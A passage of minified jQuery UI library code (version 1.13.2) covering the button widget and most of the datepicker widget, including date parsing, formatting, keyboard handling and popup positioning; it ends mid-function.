i,s=Array.prototype.slice.call(arguments,1),n=this;return t?this.length||"instance"!==i?this.each(function(){var t=V(this).attr("type"),e=V.data(this,"ui-"+("checkbox"!==t&&"radio"!==t?"button":"checkboxradio"));return"instance"===i?(n=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?V.error("no such method '"+i+"' for button widget instance"):(t=e[i].apply(e,s))!==e&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:V.error("cannot call methods on button prior to initialization; attempted to call method '"+i+"'")}):n=void 0:(s.length&&(i=V.widget.extend.apply(null,[i].concat(s))),this.each(function(){var t=V(this).attr("type"),e="checkbox"!==t&&"radio"!==t?"button":"checkboxradio",t=V.data(this,"ui-"+e);t?(t.option(i||{}),t._init&&t._init()):"button"!=e?V(this).checkboxradio(V.extend({icon:!1},i)):et.call(V(this),i)})),n}),V.fn.buttonset=function(){return V.ui.controlgroup||V.error("Controlgroup widget missing"),"option"===arguments[0]&&"items"===arguments[1]&&arguments[2]?this.controlgroup.apply(this,[arguments[0],"items.button",arguments[2]]):"option"===arguments[0]&&"items"===arguments[1]?this.controlgroup.apply(this,[arguments[0],"items.button"]):("object"==typeof arguments[0]&&arguments[0].items&&(arguments[0].items={button:arguments[0].items}),this.controlgroup.apply(this,arguments))});var it;V.ui.button;function st(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},V.extend(this._defaults,this.regional[""]),this.regional.en=V.extend(!0,{},this.regional[""]),this.regional["en-US"]=V.extend(!0,{},this.regional.en),this.dpDiv=nt(V("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function nt(t){var e="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.on("mouseout",e,function(){V(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",e,ot)}function ot(){V.datepicker._isDisabledDatepicker((it.inline?it.dpDiv.parent():it.input)[0])||(V(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),V(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&V(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&V(this).addClass("ui-datepicker-next-hover"))}function at(t,e){for(var i in V.extend(t,e),e)null==e[i]&&(t[i]=e[i]);return t}V.extend(V.ui,{datepicker:{version:"1.13.2"}}),V.extend(st.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(t){return at(this._defaults,t||{}),this},_attachDatepicker:function(t,e){var i,s=t.nodeName.toLowerCase(),n="div"===s||"span"===s;t.id||(this.uuid+=1,t.id="dp"+this.uuid),(i=this._newInst(V(t),n)).settings=V.extend({},e||{}),"input"===s?this._connectDatepicker(t,i):n&&this._inlineDatepicker(t,i)},_newInst:function(t,e){return{id:t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1"),input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:e,dpDiv:e?nt(V("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(t,e){var i=V(t);e.append=V([]),e.trigger=V([]),i.hasClass(this.markerClassName)||(this._attachments(i,e),i.addClass(this.markerClassName).on("keydown",this._doKeyDown).on("keypress",this._doKeyPress).on("keyup",this._doKeyUp),this._autoSize(e),V.data(t,"datepicker",e),e.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,e){var i,s=this._get(e,"appendText"),n=this._get(e,"isRTL");e.append&&e.append.remove(),s&&(e.append=V("<span>").addClass(this._appendClass).text(s),t[n?"before":"after"](e.append)),t.off("focus",this._showDatepicker),e.trigger&&e.trigger.remove(),"focus"!==(i=this._get(e,"showOn"))&&"both"!==i||t.on("focus",this._showDatepicker),"button"!==i&&"both"!==i||(s=this._get(e,"buttonText"),i=this._get(e,"buttonImage"),this._get(e,"buttonImageOnly")?e.trigger=V("<img>").addClass(this._triggerClass).attr({src:i,alt:s,title:s}):(e.trigger=V("<button type='button'>").addClass(this._triggerClass),i?e.trigger.html(V("<img>").attr({src:i,alt:s,title:s})):e.trigger.text(s)),t[n?"before":"after"](e.trigger),e.trigger.on("click",function(){return V.datepicker._datepickerShowing&&V.datepicker._lastInput===t[0]?V.datepicker._hideDatepicker():(V.datepicker._datepickerShowing&&V.datepicker._lastInput!==t[0]&&V.datepicker._hideDatepicker(),V.datepicker._showDatepicker(t[0])),!1}))},_autoSize:function(t){var e,i,s,n,o,a;this._get(t,"autoSize")&&!t.inline&&(o=new Date(2009,11,20),(a=this._get(t,"dateFormat")).match(/[DM]/)&&(e=function(t){for(n=s=i=0;n<t.length;n++)t[n].length>i&&(i=t[n].length,s=n);return s},o.setMonth(e(this._get(t,a.match(/MM/)?"monthNames":"monthNamesShort"))),o.setDate(e(this._get(t,a.match(/DD/)?"dayNames":"dayNamesShort"))+20-o.getDay())),t.input.attr("size",this._formatDate(t,o).length))},_inlineDatepicker:function(t,e){var i=V(t);i.hasClass(this.markerClassName)||(i.addClass(this.markerClassName).append(e.dpDiv),V.data(t,"datepicker",e),this._setDate(e,this._getDefaultDate(e),!0),this._updateDatepicker(e),this._updateAlternate(e),e.settings.disabled&&this._disableDatepicker(t),e.dpDiv.css("display","block"))},_dialogDatepicker:function(t,e,i,s,n){var o,a=this._dialogInst;return a||(this.uuid+=1,o="dp"+this.uuid,this._dialogInput=V("<input type='text' id='"+o+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.on("keydown",this._doKeyDown),V("body").append(this._dialogInput),(a=this._dialogInst=this._newInst(this._dialogInput,!1)).settings={},V.data(this._dialogInput[0],"datepicker",a)),at(a.settings,s||{}),e=e&&e.constructor===Date?this._formatDate(a,e):e,this._dialogInput.val(e),this._pos=n?n.length?n:[n.pageX,n.pageY]:null,this._pos||(o=document.documentElement.clientWidth,s=document.documentElement.clientHeight,e=document.documentElement.scrollLeft||document.body.scrollLeft,n=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[o/2-100+e,s/2-150+n]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),a.settings.onSelect=i,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),V.blockUI&&V.blockUI(this.dpDiv),V.data(this._dialogInput[0],"datepicker",a),this},_destroyDatepicker:function(t){var e,i=V(t),s=V.data(t,"datepicker");i.hasClass(this.markerClassName)&&(e=t.nodeName.toLowerCase(),V.removeData(t,"datepicker"),"input"===e?(s.append.remove(),s.trigger.remove(),i.removeClass(this.markerClassName).off("focus",this._showDatepicker).off("keydown",this._doKeyDown).off("keypress",this._doKeyPress).off("keyup",this._doKeyUp)):"div"!==e&&"span"!==e||i.removeClass(this.markerClassName).empty(),it===s&&(it=null,this._curInst=null))},_enableDatepicker:function(e){var t,i=V(e),s=V.data(e,"datepicker");i.hasClass(this.markerClassName)&&("input"===(t=e.nodeName.toLowerCase())?(e.disabled=!1,s.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):"div"!==t&&"span"!==t||((i=i.children("."+this._inlineClass)).children().removeClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=V.map(this._disabledInputs,function(t){return t===e?null:t}))},_disableDatepicker:function(e){var t,i=V(e),s=V.data(e,"datepicker");i.hasClass(this.markerClassName)&&("input"===(t=e.nodeName.toLowerCase())?(e.disabled=!0,s.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):"div"!==t&&"span"!==t||((i=i.children("."+this._inlineClass)).children().addClass("ui-state-disabled"),i.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=V.map(this._disabledInputs,function(t){return t===e?null:t}),this._disabledInputs[this._disabledInputs.length]=e)},_isDisabledDatepicker:function(t){if(!t)return!1;for(var e=0;e<this._disabledInputs.length;e++)if(this._disabledInputs[e]===t)return!0;return!1},_getInst:function(t){try{return V.data(t,"datepicker")}catch(t){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(t,e,i){var s,n,o=this._getInst(t);if(2===arguments.length&&"string"==typeof e)return"defaults"===e?V.extend({},V.datepicker._defaults):o?"all"===e?V.extend({},o.settings):this._get(o,e):null;s=e||{},"string"==typeof e&&((s={})[e]=i),o&&(this._curInst===o&&this._hideDatepicker(),n=this._getDateDatepicker(t,!0),e=this._getMinMaxDate(o,"min"),i=this._getMinMaxDate(o,"max"),at(o.settings,s),null!==e&&void 0!==s.dateFormat&&void 0===s.minDate&&(o.settings.minDate=this._formatDate(o,e)),null!==i&&void 0!==s.dateFormat&&void 0===s.maxDate&&(o.settings.maxDate=this._formatDate(o,i)),"disabled"in s&&(s.disabled?this._disableDatepicker(t):this._enableDatepicker(t)),this._attachments(V(t),o),this._autoSize(o),this._setDate(o,n),this._updateAlternate(o),this._updateDatepicker(o))},_changeDatepicker:function(t,e,i){this._optionDatepicker(t,e,i)},_refreshDatepicker:function(t){t=this._getInst(t);t&&this._updateDatepicker(t)},_setDateDatepicker:function(t,e){t=this._getInst(t);t&&(this._setDate(t,e),this._updateDatepicker(t),this._updateAlternate(t))},_getDateDatepicker:function(t,e){t=this._getInst(t);return t&&!t.inline&&this._setDateFromField(t,e),t?this._getDate(t):null},_doKeyDown:function(t){var e,i,s=V.datepicker._getInst(t.target),n=!0,o=s.dpDiv.is(".ui-datepicker-rtl");if(s._keyEvent=!0,V.datepicker._datepickerShowing)switch(t.keyCode){case 9:V.datepicker._hideDatepicker(),n=!1;break;case 13:return(i=V("td."+V.datepicker._dayOverClass+":not(."+V.datepicker._currentClass+")",s.dpDiv))[0]&&V.datepicker._selectDay(t.target,s.selectedMonth,s.selectedYear,i[0]),(e=V.datepicker._get(s,"onSelect"))?(i=V.datepicker._formatDate(s),e.apply(s.input?s.input[0]:null,[i,s])):V.datepicker._hideDatepicker(),!1;case 27:V.datepicker._hideDatepicker();break;case 33:V.datepicker._adjustDate(t.target,t.ctrlKey?-V.datepicker._get(s,"stepBigMonths"):-V.datepicker._get(s,"stepMonths"),"M");break;case 34:V.datepicker._adjustDate(t.target,t.ctrlKey?+V.datepicker._get(s,"stepBigMonths"):+V.datepicker._get(s,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&V.datepicker._clearDate(t.target),n=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&V.datepicker._gotoToday(t.target),n=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,o?1:-1,"D"),n=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&V.datepicker._adjustDate(t.target,t.ctrlKey?-V.datepicker._get(s,"stepBigMonths"):-V.datepicker._get(s,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,-7,"D"),n=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,o?-1:1,"D"),n=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&V.datepicker._adjustDate(t.target,t.ctrlKey?+V.datepicker._get(s,"stepBigMonths"):+V.datepicker._get(s,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&V.datepicker._adjustDate(t.target,7,"D"),n=t.ctrlKey||t.metaKey;break;default:n=!1}else 36===t.keyCode&&t.ctrlKey?V.datepicker._showDatepicker(this):n=!1;n&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(t){var e,i=V.datepicker._getInst(t.target);if(V.datepicker._get(i,"constrainInput"))return e=V.datepicker._possibleChars(V.datepicker._get(i,"dateFormat")),i=String.fromCharCode(null==t.charCode?t.keyCode:t.charCode),t.ctrlKey||t.metaKey||i<" "||!e||-1<e.indexOf(i)},_doKeyUp:function(t){t=V.datepicker._getInst(t.target);if(t.input.val()!==t.lastVal)try{V.datepicker.parseDate(V.datepicker._get(t,"dateFormat"),t.input?t.input.val():null,V.datepicker._getFormatConfig(t))&&(V.datepicker._setDateFromField(t),V.datepicker._updateAlternate(t),V.datepicker._updateDatepicker(t))}catch(t){}return!0},_showDatepicker:function(t){var e,i,s,n;"input"!==(t=t.target||t).nodeName.toLowerCase()&&(t=V("input",t.parentNode)[0]),V.datepicker._isDisabledDatepicker(t)||V.datepicker._lastInput===t||(n=V.datepicker._getInst(t),V.datepicker._curInst&&V.datepicker._curInst!==n&&(V.datepicker._curInst.dpDiv.stop(!0,!0),n&&V.datepicker._datepickerShowing&&V.datepicker._hideDatepicker(V.datepicker._curInst.input[0])),!1!==(i=(s=V.datepicker._get(n,"beforeShow"))?s.apply(t,[t,n]):{})&&(at(n.settings,i),n.lastVal=null,V.datepicker._lastInput=t,V.datepicker._setDateFromField(n),V.datepicker._inDialog&&(t.value=""),V.datepicker._pos||(V.datepicker._pos=V.datepicker._findPos(t),V.datepicker._pos[1]+=t.offsetHeight),e=!1,V(t).parents().each(function(){return!(e|="fixed"===V(this).css("position"))}),s={left:V.datepicker._pos[0],top:V.datepicker._pos[1]},V.datepicker._pos=null,n.dpDiv.empty(),n.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),V.datepicker._updateDatepicker(n),s=V.datepicker._checkOffset(n,s,e),n.dpDiv.css({position:V.datepicker._inDialog&&V.blockUI?"static":e?"fixed":"absolute",display:"none",left:s.left+"px",top:s.top+"px"}),n.inline||(i=V.datepicker._get(n,"showAnim"),s=V.datepicker._get(n,"duration"),n.dpDiv.css("z-index",function(t){for(var e,i;t.length&&t[0]!==document;){if(("absolute"===(e=t.css("position"))||"relative"===e||"fixed"===e)&&(i=parseInt(t.css("zIndex"),10),!isNaN(i)&&0!==i))return i;t=t.parent()}return 0}(V(t))+1),V.datepicker._datepickerShowing=!0,V.effects&&V.effects.effect[i]?n.dpDiv.show(i,V.datepicker._get(n,"showOptions"),s):n.dpDiv[i||"show"](i?s:null),V.datepicker._shouldFocusInput(n)&&n.input.trigger("focus"),V.datepicker._curInst=n)))},_updateDatepicker:function(t){this.maxRows=4,(it=t).dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t);var e,i=this._getNumberOfMonths(t),s=i[1],n=t.dpDiv.find("."+this._dayOverClass+" a"),o=V.datepicker._get(t,"onUpdateDatepicker");0<n.length&&ot.apply(n.get(0)),t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),1<s&&t.dpDiv.addClass("ui-datepicker-multi-"+s).css("width",17*s+"em"),t.dpDiv[(1!==i[0]||1!==i[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),t===V.datepicker._curInst&&V.datepicker._datepickerShowing&&V.datepicker._shouldFocusInput(t)&&t.input.trigger("focus"),t.yearshtml&&(e=t.yearshtml,setTimeout(function(){e===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year").first().replaceWith(t.yearshtml),e=t.yearshtml=null},0)),o&&o.apply(t.input?t.input[0]:null,[t])},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(t,e,i){var s=t.dpDiv.outerWidth(),n=t.dpDiv.outerHeight(),o=t.input?t.input.outerWidth():0,a=t.input?t.input.outerHeight():0,r=document.documentElement.clientWidth+(i?0:V(document).scrollLeft()),l=document.documentElement.clientHeight+(i?0:V(document).scrollTop());return e.left-=this._get(t,"isRTL")?s-o:0,e.left-=i&&e.left===t.input.offset().left?V(document).scrollLeft():0,e.top-=i&&e.top===t.input.offset().top+a?V(document).scrollTop():0,e.left-=Math.min(e.left,e.left+s>r&&s<r?Math.abs(e.left+s-r):0),e.top-=Math.min(e.top,e.top+n>l&&n<l?Math.abs(n+a):0),e},_findPos:function(t){for(var e=this._getInst(t),i=this._get(e,"isRTL");t&&("hidden"===t.type||1!==t.nodeType||V.expr.pseudos.hidden(t));)t=t[i?"previousSibling":"nextSibling"];return[(e=V(t).offset()).left,e.top]},_hideDatepicker:function(t){var e,i,s=this._curInst;!s||t&&s!==V.data(t,"datepicker")||this._datepickerShowing&&(e=this._get(s,"showAnim"),i=this._get(s,"duration"),t=function(){V.datepicker._tidyDialog(s)},V.effects&&(V.effects.effect[e]||V.effects[e])?s.dpDiv.hide(e,V.datepicker._get(s,"showOptions"),i,t):s.dpDiv["slideDown"===e?"slideUp":"fadeIn"===e?"fadeOut":"hide"](e?i:null,t),e||t(),this._datepickerShowing=!1,(t=this._get(s,"onClose"))&&t.apply(s.input?s.input[0]:null,[s.input?s.input.val():"",s]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),V.blockUI&&(V.unblockUI(),V("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(t){var e;V.datepicker._curInst&&(e=V(t.target),t=V.datepicker._getInst(e[0]),(e[0].id===V.datepicker._mainDivId||0!==e.parents("#"+V.datepicker._mainDivId).length||e.hasClass(V.datepicker.markerClassName)||e.closest("."+V.datepicker._triggerClass).length||!V.datepicker._datepickerShowing||V.datepicker._inDialog&&V.blockUI)&&(!e.hasClass(V.datepicker.markerClassName)||V.datepicker._curInst===t)||V.datepicker._hideDatepicker())},_adjustDate:function(t,e,i){var s=V(t),t=this._getInst(s[0]);this._isDisabledDatepicker(s[0])||(this._adjustInstDate(t,e,i),this._updateDatepicker(t))},_gotoToday:function(t){var e=V(t),i=this._getInst(e[0]);this._get(i,"gotoCurrent")&&i.currentDay?(i.selectedDay=i.currentDay,i.drawMonth=i.selectedMonth=i.currentMonth,i.drawYear=i.selectedYear=i.currentYear):(t=new Date,i.selectedDay=t.getDate(),i.drawMonth=i.selectedMonth=t.getMonth(),i.drawYear=i.selectedYear=t.getFullYear()),this._notifyChange(i),this._adjustDate(e)},_selectMonthYear:function(t,e,i){var s=V(t),t=this._getInst(s[0]);t["selected"+("M"===i?"Month":"Year")]=t["draw"+("M"===i?"Month":"Year")]=parseInt(e.options[e.selectedIndex].value,10),this._notifyChange(t),this._adjustDate(s)},_selectDay:function(t,e,i,s){var n=V(t);V(s).hasClass(this._unselectableClass)||this._isDisabledDatepicker(n[0])||((n=this._getInst(n[0])).selectedDay=n.currentDay=parseInt(V("a",s).attr("data-date")),n.selectedMonth=n.currentMonth=e,n.selectedYear=n.currentYear=i,this._selectDate(t,this._formatDate(n,n.currentDay,n.currentMonth,n.currentYear)))},_clearDate:function(t){t=V(t);this._selectDate(t,"")},_selectDate:function(t,e){var i=V(t),t=this._getInst(i[0]);e=null!=e?e:this._formatDate(t),t.input&&t.input.val(e),this._updateAlternate(t),(i=this._get(t,"onSelect"))?i.apply(t.input?t.input[0]:null,[e,t]):t.input&&t.input.trigger("change"),t.inline?this._updateDatepicker(t):(this._hideDatepicker(),this._lastInput=t.input[0],"object"!=typeof t.input[0]&&t.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(t){var e,i,s=this._get(t,"altField");s&&(e=this._get(t,"altFormat")||this._get(t,"dateFormat"),i=this._getDate(t),t=this.formatDate(e,i,this._getFormatConfig(t)),V(document).find(s).val(t))},noWeekends:function(t){t=t.getDay();return[0<t&&t<6,""]},iso8601Week:function(t){var e=new Date(t.getTime());return e.setDate(e.getDate()+4-(e.getDay()||7)),t=e.getTime(),e.setMonth(0),e.setDate(1),Math.floor(Math.round((t-e)/864e5)/7)+1},parseDate:function(e,n,t){if(null==e||null==n)throw"Invalid arguments";if(""===(n="object"==typeof n?n.toString():n+""))return null;for(var i,s,o,a=0,r=(t?t.shortYearCutoff:null)||this._defaults.shortYearCutoff,r="string"!=typeof r?r:(new Date).getFullYear()%100+parseInt(r,10),l=(t?t.dayNamesShort:null)||this._defaults.dayNamesShort,h=(t?t.dayNames:null)||this._defaults.dayNames,c=(t?t.monthNamesShort:null)||this._defaults.monthNamesShort,u=(t?t.monthNames:null)||this._defaults.monthNames,d=-1,p=-1,f=-1,g=-1,m=!1,_=function(t){t=w+1<e.length&&e.charAt(w+1)===t;return t&&w++,t},v=function(t){var e=_(t),e="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,e=new RegExp("^\\d{"+("y"===t?e:1)+","+e+"}"),e=n.substring(a).match(e);if(!e)throw"Missing number at position "+a;return a+=e[0].length,parseInt(e[0],10)},b=function(t,e,i){var s=-1,e=V.map(_(t)?i:e,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(V.each(e,function(t,e){var i=e[1];if(n.substr(a,i.length).toLowerCase()===i.toLowerCase())return s=e[0],a+=i.length,!1}),-1!==s)return s+1;throw"Unknown name at position "+a},y=function(){if(n.charAt(a)!==e.charAt(w))throw"Unexpected literal at position "+a;a++},w=0;w<e.length;w++)if(m)"'"!==e.charAt(w)||_("'")?y():m=!1;else switch(e.charAt(w)){case"d":f=v("d");break;case"D":b("D",l,h);break;case"o":g=v("o");break;case"m":p=v("m");break;case"M":p=b("M",c,u);break;case"y":d=v("y");break;case"@":d=(o=new Date(v("@"))).getFullYear(),p=o.getMonth()+1,f=o.getDate();break;case"!":d=(o=new Date((v("!")-this._ticksTo1970)/1e4)).getFullYear(),p=o.getMonth()+1,f=o.getDate();break;case"'":_("'")?y():m=!0;break;default:y()}if(a<n.length&&(s=n.substr(a),!/^\s+/.test(s)))throw"Extra/unparsed characters found in date: "+s;if(-1===d?d=(new Date).getFullYear():d<100&&(d+=(new Date).getFullYear()-(new Date).getFullYear()%100+(d<=r?0:-100)),-1<g)for(p=1,f=g;;){if(f<=(i=this._getDaysInMonth(d,p-1)))break;p++,f-=i}if((o=this._daylightSavingAdjust(new Date(d,p-1,f))).getFullYear()!==d||o.getMonth()+1!==p||o.getDate()!==f)throw"Invalid date";return o},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*60*60*1e7,formatDate:function(e,t,i){if(!t)return"";function s(t,e,i){var s=""+e;if(c(t))for(;s.length<i;)s="0"+s;return s}function n(t,e,i,s){return(c(t)?s:i)[e]}var o,a=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,r=(i?i.dayNames:null)||this._defaults.dayNames,l=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,h=(i?i.monthNames:null)||this._defaults.monthNames,c=function(t){t=o+1<e.length&&e.charAt(o+1)===t;return t&&o++,t},u="",d=!1;if(t)for(o=0;o<e.length;o++)if(d)"'"!==e.charAt(o)||c("'")?u+=e.charAt(o):d=!1;else switch(e.charAt(o)){case"d":u+=s("d",t.getDate(),2);break;case"D":u+=n("D",t.getDay(),a,r);break;case"o":u+=s("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=s("m",t.getMonth()+1,2);break;case"M":u+=n("M",t.getMonth(),l,h);break;case"y":u+=c("y")?t.getFullYear():(t.getFullYear()%100<10?"0":"")+t.getFullYear()%100;break;case"@":u+=t.getTime();break;case"!":u+=1e4*t.getTime()+this._ticksTo1970;break;case"'":c("'")?u+="'":d=!0;break;default:u+=e.charAt(o)}return u},_possibleChars:function(e){for(var t="",i=!1,s=function(t){t=n+1<e.length&&e.charAt(n+1)===t;return t&&n++,t},n=0;n<e.length;n++)if(i)"'"!==e.charAt(n)||s("'")?t+=e.charAt(n):i=!1;else switch(e.charAt(n)){case"d":case"m":case"y":case"@":t+="0123456789";break;case"D":case"M":return null;case"'":s("'")?t+="'":i=!0;break;default:t+=e.charAt(n)}return t},_get:function(t,e){return(void 0!==t.settings[e]?t.settings:this._defaults)[e]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),o=n,a=this._getFormatConfig(t);try{o=this.parseDate(i,s,a)||n}catch(t){s=e?"":s}t.selectedDay=o.getDate(),t.drawMonth=t.selectedMonth=o.getMonth(),t.drawYear=t.selectedYear=o.getFullYear(),t.currentDay=s?o.getDate():0,t.currentMonth=s?o.getMonth():0,t.currentYear=s?o.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(r,t,e){var i,s,t=null==t||""===t?e:"string"==typeof t?function(t){try{return V.datepicker.parseDate(V.datepicker._get(r,"dateFormat"),t,V.datepicker._getFormatConfig(r))}catch(t){}for(var e=(t.toLowerCase().match(/^c/)?V.datepicker._getDate(r):null)||new Date,i=e.getFullYear(),s=e.getMonth(),n=e.getDate(),o=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,a=o.exec(t);a;){switch(a[2]||"d"){case"d":case"D":n+=parseInt(a[1],10);break;case"w":case"W":n+=7*parseInt(a[1],10);break;case"m":case"M":s+=parseInt(a[1],10),n=Math.min(n,V.datepicker._getDaysInMonth(i,s));break;case"y":case"Y":i+=parseInt(a[1],10),n=Math.min(n,V.datepicker._getDaysInMonth(i,s))}a=o.exec(t)}return new Date(i,s,n)}(t):"number"==typeof t?isNaN(t)?e:(i=t,(s=new Date).setDate(s.getDate()+i),s):new Date(t.getTime());return(t=t&&"Invalid Date"===t.toString()?e:t)&&(t.setHours(0),t.setMinutes(0),t.setSeconds(0),t.setMilliseconds(0)),this._daylightSavingAdjust(t)},_daylightSavingAdjust:function(t){return t?(t.setHours(12<t.getHours()?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,o=t.selectedYear,e=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=e.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=e.getMonth(),t.drawYear=t.selectedYear=t.currentYear=e.getFullYear(),n===t.selectedMonth&&o===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){return!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay))},_attachHandlers:function(t){var e=this._get(t,"stepMonths"),i="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map(function(){var t={prev:function(){V.datepicker._adjustDate(i,-e,"M")},next:function(){V.datepicker._adjustDate(i,+e,"M")},hide:function(){V.datepicker._hideDatepicker()},today:function(){V.datepicker._gotoToday(i)},selectDay:function(){return V.datepicker._selectDay(i,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return V.datepicker._selectMonthYear(i,this,"M"),!1},selectYear:function(){return V.datepicker._selectMonthYear(i,this,"Y"),!1}};V(this).on(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,o,a,r,l,h,c,u,d,p,f,g,m,_,v,b,y,w,x,k,C,D,I,T,P,M,S,H,z,A=new Date,O=this._daylightSavingAdjust(new 